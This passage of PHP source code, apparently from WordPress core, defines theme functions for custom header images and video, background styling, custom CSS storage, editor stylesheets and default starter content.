			|| ( empty( $header_image_mod ) && '' !== get_random_header_image() )
		) {
			return true;
		}
	} else {
		if ( "random-$type-image" === $header_image_mod ) {
			return true;
		} elseif ( 'default' === $type
			&& empty( $header_image_mod ) && '' !== get_random_header_image()
		) {
			return true;
		}
	}

	return false;
}

/**
 * Displays header image URL.
 *
 * @since 2.1.0
 */
function header_image() {
	$image = get_header_image();

	if ( $image ) {
		echo esc_url( $image );
	}
}

/**
 * Gets the header images uploaded for the active theme.
 *
 * @since 3.2.0
 *
 * @return array
 */
function get_uploaded_header_images() {
	$header_images = array();

	// @todo Caching.
	$headers = get_posts(
		array(
			'post_type'  => 'attachment',
			'meta_key'   => '_wp_attachment_is_custom_header',
			'meta_value' => get_option( 'stylesheet' ),
			'orderby'    => 'none',
			'nopaging'   => true,
		)
	);

	if ( empty( $headers ) ) {
		return array();
	}

	foreach ( (array) $headers as $header ) {
		$url          = sanitize_url( wp_get_attachment_url( $header->ID ) );
		$header_data  = wp_get_attachment_metadata( $header->ID );
		$header_index = $header->ID;

		$header_images[ $header_index ]                  = array();
		$header_images[ $header_index ]['attachment_id'] = $header->ID;
		$header_images[ $header_index ]['url']           = $url;
		$header_images[ $header_index ]['thumbnail_url'] = $url;
		$header_images[ $header_index ]['alt_text']      = get_post_meta( $header->ID, '_wp_attachment_image_alt', true );

		if ( isset( $header_data['attachment_parent'] ) ) {
			$header_images[ $header_index ]['attachment_parent'] = $header_data['attachment_parent'];
		} else {
			$header_images[ $header_index ]['attachment_parent'] = '';
		}

		if ( isset( $header_data['width'] ) ) {
			$header_images[ $header_index ]['width'] = $header_data['width'];
		}
		if ( isset( $header_data['height'] ) ) {
			$header_images[ $header_index ]['height'] = $header_data['height'];
		}
	}

	return $header_images;
}

/**
 * Gets the header image data.
 *
 * @since 3.4.0
 *
 * @global array $_wp_default_headers
 *
 * @return object
 */
function get_custom_header() {
	global $_wp_default_headers;

	if ( is_random_header_image() ) {
		$data = _get_random_header_data();
	} else {
		$data = get_theme_mod( 'header_image_data' );
		if ( ! $data && current_theme_supports( 'custom-header', 'default-image' ) ) {
			$directory_args        = array( get_template_directory_uri(), get_stylesheet_directory_uri() );
			$data                  = array();
			$data['url']           = vsprintf( get_theme_support( 'custom-header', 'default-image' ), $directory_args );
			$data['thumbnail_url'] = $data['url'];
			if ( ! empty( $_wp_default_headers ) ) {
				foreach ( (array) $_wp_default_headers as $default_header ) {
					$url = vsprintf( $default_header['url'], $directory_args );
					if ( $data['url'] == $url ) {
						$data                  = $default_header;
						$data['url']           = $url;
						$data['thumbnail_url'] = vsprintf( $data['thumbnail_url'], $directory_args );
						break;
					}
				}
			}
		}
	}

	$default = array(
		'url'           => '',
		'thumbnail_url' => '',
		'width'         => get_theme_support( 'custom-header', 'width' ),
		'height'        => get_theme_support( 'custom-header', 'height' ),
		'video'         => get_theme_support( 'custom-header', 'video' ),
	);
	return (object) wp_parse_args( $data, $default );
}

/**
 * Registers a selection of default headers to be displayed by the custom header admin UI.
 *
 * @since 3.0.0
 *
 * @global array $_wp_default_headers
 *
 * @param array $headers Array of headers keyed by a string ID. The IDs point to arrays
 *                       containing 'url', 'thumbnail_url', and 'description' keys.
 */
function register_default_headers( $headers ) {
	global $_wp_default_headers;

	$_wp_default_headers = array_merge( (array) $_wp_default_headers, (array) $headers );
}

/**
 * Unregisters default headers.
 *
 * This function must be called after register_default_headers() has already added the
 * header you want to remove.
 *
 * @see register_default_headers()
 * @since 3.0.0
 *
 * @global array $_wp_default_headers
 *
 * @param string|array $header The header string id (key of array) to remove, or an array thereof.
 * @return bool|void A single header returns true on success, false on failure.
 *                   There is currently no return value for multiple headers.
 */
function unregister_default_headers( $header ) {
	global $_wp_default_headers;

	if ( is_array( $header ) ) {
		array_map( 'unregister_default_headers', $header );
	} elseif ( isset( $_wp_default_headers[ $header ] ) ) {
		unset( $_wp_default_headers[ $header ] );
		return true;
	} else {
		return false;
	}
}

/**
 * Checks whether a header video is set or not.
 *
 * @since 4.7.0
 *
 * @see get_header_video_url()
 *
 * @return bool Whether a header video is set or not.
 */
function has_header_video() {
	return (bool) get_header_video_url();
}

/**
 * Retrieves header video URL for custom header.
 *
 * Uses a local video if present, or falls back to an external video.
 *
 * @since 4.7.0
 *
 * @return string|false Header video URL or false if there is no video.
 */
function get_header_video_url() {
	$id = absint( get_theme_mod( 'header_video' ) );

	if ( $id ) {
		// Get the file URL from the attachment ID.
		$url = wp_get_attachment_url( $id );
	} else {
		$url = get_theme_mod( 'external_header_video' );
	}

	/**
	 * Filters the header video URL.
	 *
	 * @since 4.7.3
	 *
	 * @param string $url Header video URL, if available.
	 */
	$url = apply_filters( 'get_header_video_url', $url );

	if ( ! $id && ! $url ) {
		return false;
	}

	return sanitize_url( set_url_scheme( $url ) );
}

/**
 * Displays header video URL.
 *
 * @since 4.7.0
 */
function the_header_video_url() {
	$video = get_header_video_url();

	if ( $video ) {
		echo esc_url( $video );
	}
}

/**
 * Retrieves header video settings.
 *
 * @since 4.7.0
 *
 * @return array
 */
function get_header_video_settings() {
	$header     = get_custom_header();
	$video_url  = get_header_video_url();
	$video_type = wp_check_filetype( $video_url, wp_get_mime_types() );

	$settings = array(
		'mimeType'  => '',
		'posterUrl' => get_header_image(),
		'videoUrl'  => $video_url,
		'width'     => absint( $header->width ),
		'height'    => absint( $header->height ),
		'minWidth'  => 900,
		'minHeight' => 500,
		'l10n'      => array(
			'pause'      => __( 'Pause' ),
			'play'       => __( 'Play' ),
			'pauseSpeak' => __( 'Video is paused.' ),
			'playSpeak'  => __( 'Video is playing.' ),
		),
	);

	if ( preg_match( '#^https?://(?:www\.)?(?:youtube\.com/watch|youtu\.be/)#', $video_url ) ) {
		$settings['mimeType'] = 'video/x-youtube';
	} elseif ( ! empty( $video_type['type'] ) ) {
		$settings['mimeType'] = $video_type['type'];
	}

	/**
	 * Filters header video settings.
	 *
	 * @since 4.7.0
	 *
	 * @param array $settings An array of header video settings.
	 */
	return apply_filters( 'header_video_settings', $settings );
}

/**
 * Checks whether a custom header is set or not.
 *
 * @since 4.7.0
 *
 * @return bool True if a custom header is set. False if not.
 */
function has_custom_header() {
	if ( has_header_image() || ( has_header_video() && is_header_video_active() ) ) {
		return true;
	}

	return false;
}

/**
 * Checks whether the custom header video is eligible to show on the current page.
 *
 * @since 4.7.0
 *
 * @return bool True if the custom header video should be shown. False if not.
 */
function is_header_video_active() {
	if ( ! get_theme_support( 'custom-header', 'video' ) ) {
		return false;
	}

	$video_active_cb = get_theme_support( 'custom-header', 'video-active-callback' );

	if ( empty( $video_active_cb ) || ! is_callable( $video_active_cb ) ) {
		$show_video = true;
	} else {
		$show_video = call_user_func( $video_active_cb );
	}

	/**
	 * Filters whether the custom header video is eligible to show on the current page.
	 *
	 * @since 4.7.0
	 *
	 * @param bool $show_video Whether the custom header video should be shown. Returns the value
	 *                         of the theme setting for the `custom-header`'s `video-active-callback`.
	 *                         If no callback is set, the default value is that of `is_front_page()`.
	 */
	return apply_filters( 'is_header_video_active', $show_video );
}

/**
 * Retrieves the markup for a custom header.
 *
 * The container div will always be returned in the Customizer preview.
 *
 * @since 4.7.0
 *
 * @return string The markup for a custom header on success.
 */
function get_custom_header_markup() {
	if ( ! has_custom_header() && ! is_customize_preview() ) {
		return '';
	}

	return sprintf(
		'<div id="wp-custom-header" class="wp-custom-header">%s</div>',
		get_header_image_tag()
	);
}

/**
 * Prints the markup for a custom header.
 *
 * A container div will always be printed in the Customizer preview.
 *
 * @since 4.7.0
 */
function the_custom_header_markup() {
	$custom_header = get_custom_header_markup();
	if ( empty( $custom_header ) ) {
		return;
	}

	echo $custom_header;

	if ( is_header_video_active() && ( has_header_video() || is_customize_preview() ) ) {
		wp_enqueue_script( 'wp-custom-header' );
		wp_localize_script( 'wp-custom-header', '_wpCustomHeaderSettings', get_header_video_settings() );
	}
}

/**
 * Retrieves background image for custom background.
 *
 * @since 3.0.0
 *
 * @return string
 */
function get_background_image() {
	return get_theme_mod( 'background_image', get_theme_support( 'custom-background', 'default-image' ) );
}

/**
 * Displays background image path.
 *
 * @since 3.0.0
 */
function background_image() {
	echo get_background_image();
}

/**
 * Retrieves value for custom background color.
 *
 * @since 3.0.0
 *
 * @return string
 */
function get_background_color() {
	return get_theme_mod( 'background_color', get_theme_support( 'custom-background', 'default-color' ) );
}

/**
 * Displays background color value.
 *
 * @since 3.0.0
 */
function background_color() {
	echo get_background_color();
}

/**
 * Default custom background callback.
 *
 * @since 3.0.0
 */
function _custom_background_cb() {
	// $background is the saved custom image, or the default image.
	$background = set_url_scheme( get_background_image() );

	/*
	 * $color is the saved custom color.
	 * A default has to be specified in style.css. It will not be printed here.
	 */
	$color = get_background_color();

	if ( get_theme_support( 'custom-background', 'default-color' ) === $color ) {
		$color = false;
	}

	$type_attr = current_theme_supports( 'html5', 'style' ) ? '' : ' type="text/css"';

	if ( ! $background && ! $color ) {
		if ( is_customize_preview() ) {
			printf( '<style%s id="custom-background-css"></style>', $type_attr );
		}
		return;
	}

	$style = $color ? "background-color: #$color;" : '';

	if ( $background ) {
		$image = ' background-image: url("' . sanitize_url( $background ) . '");';

		// Background Position.
		$position_x = get_theme_mod( 'background_position_x', get_theme_support( 'custom-background', 'default-position-x' ) );
		$position_y = get_theme_mod( 'background_position_y', get_theme_support( 'custom-background', 'default-position-y' ) );

		if ( ! in_array( $position_x, array( 'left', 'center', 'right' ), true ) ) {
			$position_x = 'left';
		}

		if ( ! in_array( $position_y, array( 'top', 'center', 'bottom' ), true ) ) {
			$position_y = 'top';
		}

		$position = " background-position: $position_x $position_y;";

		// Background Size.
		$size = get_theme_mod( 'background_size', get_theme_support( 'custom-background', 'default-size' ) );

		if ( ! in_array( $size, array( 'auto', 'contain', 'cover' ), true ) ) {
			$size = 'auto';
		}

		$size = " background-size: $size;";

		// Background Repeat.
		$repeat = get_theme_mod( 'background_repeat', get_theme_support( 'custom-background', 'default-repeat' ) );

		if ( ! in_array( $repeat, array( 'repeat-x', 'repeat-y', 'repeat', 'no-repeat' ), true ) ) {
			$repeat = 'repeat';
		}

		$repeat = " background-repeat: $repeat;";

		// Background Scroll.
		$attachment = get_theme_mod( 'background_attachment', get_theme_support( 'custom-background', 'default-attachment' ) );

		if ( 'fixed' !== $attachment ) {
			$attachment = 'scroll';
		}

		$attachment = " background-attachment: $attachment;";

		$style .= $image . $position . $size . $repeat . $attachment;
	}
	?>
<style<?php echo $type_attr; ?> id="custom-background-css">
body.custom-background { <?php echo trim( $style ); ?> }
</style>
	<?php
}

/**
 * Renders the Custom CSS style element.
 *
 * @since 4.7.0
 */
function wp_custom_css_cb() {
	$styles = wp_get_custom_css();
	if ( $styles || is_customize_preview() ) :
		$type_attr = current_theme_supports( 'html5', 'style' ) ? '' : ' type="text/css"';
		?>
		<style<?php echo $type_attr; ?> id="wp-custom-css">
			<?php
			// Note that esc_html() cannot be used because `div &gt; span` is not interpreted properly.
			echo strip_tags( $styles );
			?>
		</style>
		<?php
	endif;
}

/**
 * Fetches the `custom_css` post for a given theme.
 *
 * @since 4.7.0
 *
 * @param string $stylesheet Optional. A theme object stylesheet name. Defaults to the active theme.
 * @return WP_Post|null The custom_css post or null if none exists.
 */
function wp_get_custom_css_post( $stylesheet = '' ) {
	if ( empty( $stylesheet ) ) {
		$stylesheet = get_stylesheet();
	}

	$custom_css_query_vars = array(
		'post_type'              => 'custom_css',
		'post_status'            => get_post_stati(),
		'name'                   => sanitize_title( $stylesheet ),
		'posts_per_page'         => 1,
		'no_found_rows'          => true,
		'cache_results'          => true,
		'update_post_meta_cache' => false,
		'update_post_term_cache' => false,
		'lazy_load_term_meta'    => false,
	);

	$post = null;
	if ( get_stylesheet() === $stylesheet ) {
		$post_id = get_theme_mod( 'custom_css_post_id' );

		if ( $post_id > 0 && get_post( $post_id ) ) {
			$post = get_post( $post_id );
		}

		// `-1` indicates no post exists; no query necessary.
		if ( ! $post && -1 !== $post_id ) {
			$query = new WP_Query( $custom_css_query_vars );
			$post  = $query->post;
			/*
			 * Cache the lookup. See wp_update_custom_css_post().
			 * @todo This should get cleared if a custom_css post is added/removed.
			 */
			set_theme_mod( 'custom_css_post_id', $post ? $post->ID : -1 );
		}
	} else {
		$query = new WP_Query( $custom_css_query_vars );
		$post  = $query->post;
	}

	return $post;
}

/**
 * Fetches the saved Custom CSS content for rendering.
 *
 * @since 4.7.0
 *
 * @param string $stylesheet Optional. A theme object stylesheet name. Defaults to the active theme.
 * @return string The Custom CSS Post content.
 */
function wp_get_custom_css( $stylesheet = '' ) {
	$css = '';

	if ( empty( $stylesheet ) ) {
		$stylesheet = get_stylesheet();
	}

	$post = wp_get_custom_css_post( $stylesheet );
	if ( $post ) {
		$css = $post->post_content;
	}

	/**
	 * Filters the custom CSS output into the head element.
	 *
	 * @since 4.7.0
	 *
	 * @param string $css        CSS pulled in from the Custom CSS post type.
	 * @param string $stylesheet The theme stylesheet name.
	 */
	$css = apply_filters( 'wp_get_custom_css', $css, $stylesheet );

	return $css;
}

/**
 * Updates the `custom_css` post for a given theme.
 *
 * Inserts a `custom_css` post when one doesn't yet exist.
 *
 * @since 4.7.0
 *
 * @param string $css CSS, stored in `post_content`.
 * @param array  $args {
 *     Args.
 *
 *     @type string $preprocessed Optional. Pre-processed CSS, stored in `post_content_filtered`.
 *                                Normally empty string.
 *     @type string $stylesheet   Optional. Stylesheet (child theme) to update.
 *                                Defaults to active theme/stylesheet.
 * }
 * @return WP_Post|WP_Error Post on success, error on failure.
 */
function wp_update_custom_css_post( $css, $args = array() ) {
	$args = wp_parse_args(
		$args,
		array(
			'preprocessed' => '',
			'stylesheet'   => get_stylesheet(),
		)
	);

	$data = array(
		'css'          => $css,
		'preprocessed' => $args['preprocessed'],
	);

	/**
	 * Filters the `css` (`post_content`) and `preprocessed` (`post_content_filtered`) args
	 * for a `custom_css` post being updated.
	 *
	 * This filter can be used by plugin that offer CSS pre-processors, to store the original
	 * pre-processed CSS in `post_content_filtered` and then store processed CSS in `post_content`.
	 * When used in this way, the `post_content_filtered` should be supplied as the setting value
	 * instead of `post_content` via a the `customize_value_custom_css` filter, for example:
	 *
	 * <code>
	 * add_filter( 'customize_value_custom_css', function( $value, $setting ) {
	 *     $post = wp_get_custom_css_post( $setting->stylesheet );
	 *     if ( $post && ! empty( $post->post_content_filtered ) ) {
	 *         $css = $post->post_content_filtered;
	 *     }
	 *     return $css;
	 * }, 10, 2 );
	 * </code>
	 *
	 * @since 4.7.0
	 * @param array $data {
	 *     Custom CSS data.
	 *
	 *     @type string $css          CSS stored in `post_content`.
	 *     @type string $preprocessed Pre-processed CSS stored in `post_content_filtered`.
	 *                                Normally empty string.
	 * }
	 * @param array $args {
	 *     The args passed into `wp_update_custom_css_post()` merged with defaults.
	 *
	 *     @type string $css          The original CSS passed in to be updated.
	 *     @type string $preprocessed The original preprocessed CSS passed in to be updated.
	 *     @type string $stylesheet   The stylesheet (theme) being updated.
	 * }
	 */
	$data = apply_filters( 'update_custom_css_data', $data, array_merge( $args, compact( 'css' ) ) );

	$post_data = array(
		'post_title'            => $args['stylesheet'],
		'post_name'             => sanitize_title( $args['stylesheet'] ),
		'post_type'             => 'custom_css',
		'post_status'           => 'publish',
		'post_content'          => $data['css'],
		'post_content_filtered' => $data['preprocessed'],
	);

	// Update post if it already exists, otherwise create a new one.
	$post = wp_get_custom_css_post( $args['stylesheet'] );
	if ( $post ) {
		$post_data['ID'] = $post->ID;
		$r               = wp_update_post( wp_slash( $post_data ), true );
	} else {
		$r = wp_insert_post( wp_slash( $post_data ), true );

		if ( ! is_wp_error( $r ) ) {
			if ( get_stylesheet() === $args['stylesheet'] ) {
				set_theme_mod( 'custom_css_post_id', $r );
			}

			// Trigger creation of a revision. This should be removed once #30854 is resolved.
			$revisions = wp_get_latest_revision_id_and_total_count( $r );
			if ( ! is_wp_error( $revisions ) && 0 === $revisions['count'] ) {
				wp_save_post_revision( $r );
			}
		}
	}

	if ( is_wp_error( $r ) ) {
		return $r;
	}
	return get_post( $r );
}

/**
 * Adds callback for custom TinyMCE editor stylesheets.
 *
 * The parameter $stylesheet is the name of the stylesheet, relative to
 * the theme root. It also accepts an array of stylesheets.
 * It is optional and defaults to 'editor-style.css'.
 *
 * This function automatically adds another stylesheet with -rtl prefix, e.g. editor-style-rtl.css.
 * If that file doesn't exist, it is removed before adding the stylesheet(s) to TinyMCE.
 * If an array of stylesheets is passed to add_editor_style(),
 * RTL is only added for the first stylesheet.
 *
 * Since version 3.4 the TinyMCE body has .rtl CSS class.
 * It is a better option to use that class and add any RTL styles to the main stylesheet.
 *
 * @since 3.0.0
 *
 * @global array $editor_styles
 *
 * @param array|string $stylesheet Optional. Stylesheet name or array thereof, relative to theme root.
 *                                 Defaults to 'editor-style.css'
 */
function add_editor_style( $stylesheet = 'editor-style.css' ) {
	global $editor_styles;

	add_theme_support( 'editor-style' );

	$editor_styles = (array) $editor_styles;
	$stylesheet    = (array) $stylesheet;

	if ( is_rtl() ) {
		$rtl_stylesheet = str_replace( '.css', '-rtl.css', $stylesheet[0] );
		$stylesheet[]   = $rtl_stylesheet;
	}

	$editor_styles = array_merge( $editor_styles, $stylesheet );
}

/**
 * Removes all visual editor stylesheets.
 *
 * @since 3.1.0
 *
 * @global array $editor_styles
 *
 * @return bool True on success, false if there were no stylesheets to remove.
 */
function remove_editor_styles() {
	if ( ! current_theme_supports( 'editor-style' ) ) {
		return false;
	}
	_remove_theme_support( 'editor-style' );
	if ( is_admin() ) {
		$GLOBALS['editor_styles'] = array();
	}
	return true;
}

/**
 * Retrieves any registered editor stylesheet URLs.
 *
 * @since 4.0.0
 *
 * @global array $editor_styles Registered editor stylesheets
 *
 * @return string[] If registered, a list of editor stylesheet URLs.
 */
function get_editor_stylesheets() {
	$stylesheets = array();
	// Load editor_style.css if the active theme supports it.
	if ( ! empty( $GLOBALS['editor_styles'] ) && is_array( $GLOBALS['editor_styles'] ) ) {
		$editor_styles = $GLOBALS['editor_styles'];

		$editor_styles = array_unique( array_filter( $editor_styles ) );
		$style_uri     = get_stylesheet_directory_uri();
		$style_dir     = get_stylesheet_directory();

		// Support externally referenced styles (like, say, fonts).
		foreach ( $editor_styles as $key => $file ) {
			if ( preg_match( '~^(https?:)?//~', $file ) ) {
				$stylesheets[] = sanitize_url( $file );
				unset( $editor_styles[ $key ] );
			}
		}

		// Look in a parent theme first, that way child theme CSS overrides.
		if ( is_child_theme() ) {
			$template_uri = get_template_directory_uri();
			$template_dir = get_template_directory();

			foreach ( $editor_styles as $key => $file ) {
				if ( $file && file_exists( "$template_dir/$file" ) ) {
					$stylesheets[] = "$template_uri/$file";
				}
			}
		}

		foreach ( $editor_styles as $file ) {
			if ( $file && file_exists( "$style_dir/$file" ) ) {
				$stylesheets[] = "$style_uri/$file";
			}
		}
	}

	/**
	 * Filters the array of URLs of stylesheets applied to the editor.
	 *
	 * @since 4.3.0
	 *
	 * @param string[] $stylesheets Array of URLs of stylesheets to be applied to the editor.
	 */
	return apply_filters( 'editor_stylesheets', $stylesheets );
}

/**
 * Expands a theme's starter content configuration using core-provided data.
 *
 * @since 4.7.0
 *
 * @return array Array of starter content.
 */
function get_theme_starter_content() {
	$theme_support = get_theme_support( 'starter-content' );
	if ( is_array( $theme_support ) && ! empty( $theme_support[0] ) && is_array( $theme_support[0] ) ) {
		$config = $theme_support[0];
	} else {
		$config = array();
	}

	$core_content = array(
		'widgets'   => array(
			'text_business_info' => array(
				'text',
				array(
					'title'  => _x( 'Find Us', 'Theme starter content' ),
					'text'   => implode(
						'',
						array(
							'<strong>' . _x( 'Address', 'Theme starter content' ) . "</strong>\n",
							_x( '123 Main Street', 'Theme starter content' ) . "\n",
							_x( 'New York, NY 10001', 'Theme starter content' ) . "\n\n",
							'<strong>' . _x( 'Hours', 'Theme starter content' ) . "</strong>\n",
							_x( 'Monday&ndash;Friday: 9:00AM&ndash;5:00PM', 'Theme starter content' ) . "\n",
							_x( 'Saturday &amp; Sunday: 11:00AM&ndash;3:00PM', 'Theme starter content' ),
						)
					),
					'filter' => true,
					'visual' => true,
				),
			),
			'text_about'         => array(
				'text',
				array(
					'title'  => _x( 'About This Site', 'Theme starter content' ),
					'text'   => _x( 'This may be a good place to introduce yourself and your site or include some credits.', 'Theme starter content' ),
					'filter' => true,
					'visual' => true,
				),
			),
			'archives'           => array(
				'archives',
				array(
					'title' => _x( 'Archives', 'Theme starter content' ),
				),
			),
			'calendar'           => array(
				'calendar',
				array(
					'title' => _x( 'Calendar', 'Theme starter content' ),
				),
			),
			'categories'         => array(
				'categories',
				array(
					'title' => _x( 'Categories', 'Theme starter content' ),
				),
			),
			'meta'               => array(
				'meta',
				array(
					'title' => _x( 'Meta', 'Theme starter content' ),
				),
			),
			'recent-comments'    => array(
				'recent-comments',
				array(
					'title' => _x( 'Recent Comments', 'Theme starter content' ),
				),
			),
			'recent-posts'       => array(
				'recent-posts',
				array(
					'title' => _x( 'Recent Posts', 'Theme starter content' ),
				),
			),
			'search'             => array(
				'search',
				array(
					'title' => _x( 'Search', 'Theme starter content' ),
				),
			),
		),
		'nav_menus' => array(
			'link_home'       => array(
				'type'  => 'custom',
				'title' => _x( 'Home', 'Theme starter content' ),
				'url'   => home_url( '/' ),
			),
			'page_home'       => array( // Deprecated in favor of 'link_home'.
				'type'      => 'post_type',
				'object'    => 'page',
				'object_id' => '{{home}}',
			),
			'page_about'      => array(
				'type'      => 'post_type',
				'object'    => 'page',
				'object_id' => '{{about}}',
			),
			'page_blog'       => array(
				'type'      => 'post_type',
				'object'    => 'page',
				'object_id' => '{{blog}}',
			),
			'page_news'       => array(
				'type'      => 'post_type',
				'object'    => 'page',
				'object_id' => '{{news}}',
			),
			'page_contact'    => array(
				'type'      => 'post_type',
				'object'    => 'page',
				'object_id' => '{{contact}}',
			),

			'link_email'      => array(
				'title' => _x( 'Email', 'Theme starter content' ),
				'url'   => 'mailto:wordpress@example.com',
			),
			'link_facebook'   => array(
				'title' => _x( 'Facebook', 'Theme starter content' ),
				'url'   => 'https://www.facebook.com/wordpress',
			),
			'link_foursquare' => array(
				'title' => _x( 'Foursquare', 'Theme starter content' ),
				'url'   => 'https://foursquare.com/',
			),
			'link_github'     => array(
				'title' => _x( 'GitHub', 'Theme starter content' ),
				'url'   => 'https://github.com/wordpress/',
			),
			'link_instagram'  => array(
				'title' => _x( 'Instagram', 'Theme starter content' ),
				'url'   => 'https://www.instagram.com/explore/tags/wordcamp/',
			),
			'link_linkedin'   => array(
				'title' => _x( 'LinkedIn', 'Theme starter content' ),
				'url'   => 'https://www.linkedin.com/company/1089783',
			),
			'link_pinterest'  => array(
				'title' => _x( 'Pinterest', 'Theme starter content' ),
				'url'   => 'https://www.pinterest.com/',
			),
			'link_twitter'    => array(
				'title' => _x( 'Twitter', 'Theme starter content' ),
				'url'   => 'https://twitter.com/wordpress',
			),
			'link_yelp'       => array(
				'title' => _x( 'Yelp', 'Theme starter content' ),
				'url'   => 'https://www.yelp.com',
			),
			'link_youtube'    => array(
				'title' => _x( 'YouTube', 'Theme starter content' ),
				'url'   => 'https://www.youtube.com/channel/UCdof4Ju7amm1chz1gi1T2ZA',
			),
		),
		'posts'     => array(
			'home'             => array(
				'post_type'    => 'page',
				'post_title'   => _x( 'Home', 'Theme starter content' ),
				'post_content' => sprintf(
					"<!-- wp:paragraph -->\n<p>%s</p>\n<!-- /wp:paragraph -->",
					_x( 'Welcome to your site! This is your homepage, which is what most visitors will see when they come to your site for the first time.', 'Theme starter content' )
				),
			),
			'about'            => array(
				'post_type'    => 'page',
				'post_title'   => _x( 'About', 'Theme starter content' ),
				'post_content' => sprintf(
					"<!-- wp:paragraph -->\n<p>%s</p>\n<!-- /wp:paragraph -->",
					_x( 'You might be an artist who would like to introduce yourself and your work here or maybe you are a business with a mission to describe.', 'Theme starter content' )
				),
			),
			'contact'          => array(
				'post_type'    => 'page',
				'post_title'   => _x( 'Contact', 'Theme starter content' ),
				'post_content' => sprintf(
					"<!-- wp:paragraph -->\n<p>%s</p>\n<!-- /wp:paragraph -->",
					_x( 'This is a page with some basic contact information, such as an address and phone number. You might also try a plugin to add a contact form.', 'Theme starter content' )
				),
			),
			'blog'             => array(
				'post_type'  => 'page',
				'post_title' => _x( 'Blog', 'Theme starter content' ),
			),
			'news'             => array(
				'post_type'  => 'page',
				'post_title' => _x( 'News', 'Theme starter content' ),
			),

			'homepage-section' => array(
				'post_type'    => 'page',
				'post_title'   => _x( 'A homepage section', 'Theme starter content' ),
				'post_content' => sprintf(
					"<!-- wp:paragraph -->\n<p>%s</p>\n<!-- /wp:paragraph -->",
					_x( 'This is an example of a homepage section. Homepage sections can be any page other than the homepage itself, including the page that shows your latest blog posts.', 'Theme starter content' )
				),
			),
		),
	);

	$content = array();

	foreach ( $config as $type => $args ) {
		switch ( $type ) {
			// Use options and theme_mods as-is.
			case 'options':
			case 'theme_mods':
				$content[ $type ] = $config[ $type ];
				break;

			// Widgets are grouped into sidebars.
			case 'widgets':
				foreach ( $config[ $type ] as $sidebar_id => $widgets ) {
					foreach ( $widgets as $id => $widget ) {
						if ( is_array( $widget ) ) {

							// Item extends core content.
							if ( ! empty( $core_content[ $type ][ $id ] ) ) {
								$widget = array(
									$core_content[ $type ][ $id ][0],
									array_merge( $core_content[ $type ][ $id ][1], $widget ),
								);
							}

							$content[ $type ][ $sidebar_id ][] = $widget;
						} elseif ( is_string( $widget )
							&& ! empty( $core_content[ $type ] )
							&& ! empty( $core_content[ $type ][ $widget ] )
						) {
							$content[ $type ][ $sidebar_id ][] = $core_content[ $type ][ $widget ];
						}
					}
				}
				break;

			// And nav menu items are grouped into nav menus.
			case 'nav_menus':
				foreach ( $config[ $type ] as $nav_menu_location => $nav_menu ) {

					// Ensure nav menus get a name.
					if ( empty( $nav_menu['name'] ) ) {
						$nav_menu['name'] = $nav_menu_location;
					}

					$content[ $type ][ $nav_menu_location ]['name'] = $nav_menu['name'];

					foreach ( $nav_menu['items'] as $id => $nav_menu_item ) {
						if ( is_array( $nav_menu_item ) ) {

							// Item extends core content.
							if ( ! empty( $core_content[ $type ][ $id ] ) ) {
								$nav_menu_item = array_merge( $core_content[ $type ][ $id ], $nav_menu_item );
							}

							$content[ $type ][ $nav_menu_location ]['items'][] = $nav_menu_item;
						} elseif ( is_string( $nav_menu_item )
							&& ! empty( $core_content[ $type ] )
							&& ! empty( $core_content[ $type ][ $nav_menu_item ] )
						) {
							$content[ $type ][ $nav_menu_location ]['items'][] = $core_content[ $type ][ $nav_menu_item ];
						}
					}
				}
				break;

			// Attachments are posts but have special treatment.
			case 'attachments':
				foreach ( $config[ $type ] as $id => $item ) {
					if ( ! empty( $item['file'] ) ) {
						$content[ $type ][ $id ] = $item;
					}
				}
				break;

			/*
			 * All that's left now are posts (besides attachments).
			 * Not a default case for the sake of clarity and future work.
			 */
			case 'posts':
				foreach ( $config[ $type ] as $id => $item ) {
					if ( is_array( $item ) ) {

						// Item extends core content.
						if ( ! empty( $core_content[ $type ][ $id ] ) ) {
							$item = array_merge( $core_content[ $type ][ $id ], $item );
						}

						// Enforce a subset of fields.
						$content[ $type ][ $id ] = wp_array_slice_assoc(
							$item,
							array(
								'post_type',
								'post_title',
								'post_excerpt',
								'post_name',
								'post_content',
								'menu_order',
								'comment_status',
								'thumbnail',
								'template',
							)
						);
					} elseif ( is_string( $item ) && ! empty( $core_content[ $type ][ $item ] ) ) {
						$content[ $type ][ $item ] = $core_content[ $type ][ $item ];
					}
				}
				break;
		}
	}

	/**
	 * Filters the expanded array of starter content.
	 *
	 * @since 4.7.0
	 *
	 * @param array $content Array of starter content.
	 * @param array $config  Array of theme-specific starter content configuration.
	 */
	return apply_filters( 'get_theme_starter_content', $content, $config );
}

/**
 * Registers theme support for a given feature.
 *
 * Must be called in the theme's functions.php file to work.
 * If attached to a hook, it must be {@see 'after_setup_theme'}.
 * The {@see 'init'} hook may be too late for some features.
 *
 * Example usage:
 *
 *     add_theme_support( 'title-tag' );
 *     add_theme_support( 'custom-logo', array(
 *         'height' => 480,
 *         'width'  => 720,
 *     ) );
 *
 * @since 2.9.0
 * @since 3.4.0 The `custom-header-uploads` feature was deprecated.
 * @since 3.6.0 The `html5` feature was added.
 * @since 3.6.1 The `html5` feature requires an array of types to be passed. Defaults to
 *              'comment-list', 'comment-form', 'search-form' for backward compatibility.
 * @since 3.9.0 The `html5` feature now also accepts 'gallery' and 'caption'.
 * @since 4.1.0 The `title-tag` feature was added.
 * @since 4.5.0 The `customize-selective-refresh-widgets` feature was added.
 * @since 4.7.0 The `starter-content` feature was added.
 * @since 5.0.0 The `responsive-embeds`, `align-wide`, `dark-editor-style`, `disable-custom-colors`,
 *              `disable-custom-font-sizes`, `editor-color-palette`, `editor-font-sizes`,
 *              `editor-styles`, and `wp-block-styles` features were added.
 * @since 5.3.0 The `html5` feature now also accepts 'script' and 'style'.
 * @since 5.3.0 Formalized the existing and already documented `...$args` parameter
 *              by adding it to the function signature.
 * @since 5.4.0 The `disable-custom-gradients` feature limits to default gradients or gradients added
 *              through `editor-gradient-presets` theme support.
 * @since 5.5.0 The `core-block-patterns` feature was added and is enabled by default.
 * @since 5.5.0 The `custom-logo` feature now also accepts 'unlink-homepage-logo'.
 * @since 5.6.0 The `post-formats` feature warns if no array is passed as the second parameter.
 * @since 5.8.0 The `widgets-block-editor` feature enables the Widgets block editor.
 * @since 5.8.0 The `block-templates` feature indicates whether a theme uses block-based templates.
 * @since 6.0.0 The `html5` feature warns if no array is passed as the second parameter.
 * @since 6.1.0 The `block-template-parts` feature allows to edit any reusable template part from site editor.
 * @since 6.1.0 The `disable-layout-styles` feature disables the default layout styles.
 * @since 6.3.0 The `link-color` feature allows to enable the link color setting.
